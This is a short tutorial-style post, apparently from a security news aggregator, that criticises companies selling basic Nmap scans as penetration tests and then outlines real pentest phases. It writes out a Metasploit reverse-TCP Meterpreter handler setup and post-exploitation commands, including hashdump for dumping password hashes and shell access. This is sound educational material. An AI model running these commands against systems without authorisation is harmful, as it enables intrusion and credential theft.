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Many companies today market basic Nmap scans as full penetration tests, misleading clients about the depth of security assessments. A true penetration test involves comprehensive exploitation, post-exploitation, and detailed reporting—far beyond simple port scanning.
You Should Know:
To perform a real penetration test, you need a structured approach. Below are essential steps, commands, and tools used by professionals:
1. Reconnaissance (Passive & Active)
- Nmap (Network Scanning)
nmap -sV -A -T4 target.com
-sV
: Service version detection-A
: Aggressive scan (OS detection, script scanning)-T4
: Faster scan speedDNS Enumeration
dnsenum target.com
2. Vulnerability Scanning
- Nessus / OpenVAS
openvas-start
(Launch OpenVAS web interface for automated vulnerability scanning)
3. Exploitation
- Metasploit Framework
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <your_ip> set LPORT 4444 exploit
4. Post-Exploitation
- Meterpreter Commands
sysinfo # System information hashdump # Dump password hashes shell # Access system shell
5. Reporting
- Use tools like Dradis or Faraday for collaborative reporting.
Bonus: Automated Penetration Testing
- AutoRecon (Automates initial recon)
autorecon target.com
What Undercode Say
The security industry is flooded with misleading “penetration testing” services that barely scratch the surface. A real pentest requires manual exploitation, lateral movement analysis, and business impact assessment—not just automated scans.
Essential Commands to Master:
- Linux:
netstat -tuln # Check open ports tcpdump -i eth0 # Packet capture chmod 600 file # Secure file permissions
- Windows:
netstat -ano # Active connections whoami /priv # Check user privileges
Expected Output:
A penetration test report should include:
- Executive summary
- Methodology
- Critical vulnerabilities
- Proof-of-concept exploits
- Remediation steps
For real-world pentesting, check: https://hctit.io/xrisks
References:
Reported By: Simonehaddad Pentesting – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅